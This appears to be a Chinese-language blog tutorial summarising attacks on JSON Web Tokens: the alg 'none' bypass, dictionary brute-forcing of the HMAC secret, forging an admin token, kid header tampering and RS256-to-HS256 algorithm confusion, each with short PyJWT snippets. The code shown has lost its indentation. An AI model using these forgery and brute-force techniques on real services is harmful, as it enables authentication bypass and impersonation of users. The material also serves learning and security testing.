jwt攻击总结
·
jwt格式举例如下,以点来分割,总共为三部分:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ
jwt是一种类似于token、session的用户身份凭据。第一段称为header,第二段是payload,这两段都是base64编码可以随便被解密,第三段是signature,是用服务端私钥加密的,是身份验证的关键。

1. 通过修改header中的alg字段实现攻击
条件:服务器端secret配置为none或者undefined
利用node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证
安装依赖包
# jwt卸载命令
pip uninstall jwt
# 保险起见,将PyJWT一同卸载
pip uninstall PyJWT
# 重新安装PyJWT
pip install PyJWT
import jwt
print(jwt.encode({"xxx":"xxx"}, key="", algorithm="none"))


2. 通过爆破密钥
import jwt
jwt_json='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ'
with open('dict.txt',encoding='utf-8') as f: # 传入字典
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') # 指定对称加密算法
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")

知道secret后就可以随便伪造身份。
的到密钥后通过jwt解码网站来进行二次加密,得到想要用户的凭据:

也可以使用python脚本:
import jwt
print(jwt.encode({"sub": "1234567890","name": "John Doe","admin":"true"}, key="Sn1f", algorithm="HS256"))
3. 修改kid实现攻击
kid是header部分,也就是第一部分中的一个字段,如果服务端未对kid进行安全过滤,那么我们可以指定任意kid来作为服务端解密的secret,达到任意身份验证的目的。
import jwt
jwt.encode({"xxx":"xxx"},key="xxx",algorithm='HS256',headers={"kid":"xxx"})
同时也有如下的攻击方式:

4. 修改加密算法
条件:知道服务端的加密公钥,当 header 头部指定签名算法为 RSA 非对称加密算法时,可以替换为 HMAC 对称加密算法,也就是将alg的值替换为HS256。并且通过获取到的公钥重新做签名,服务端在做验证的时候可能会使用自己的公钥进行解密验证。
参考文章
https://www.cnblogs.com/wjrblogs/p/14361834.html
jwt解码网站
https://mp.weixin.qq.com/s/D_SSmWqSGDUFonOrQ3AAJQ
更多推荐


所有评论(0)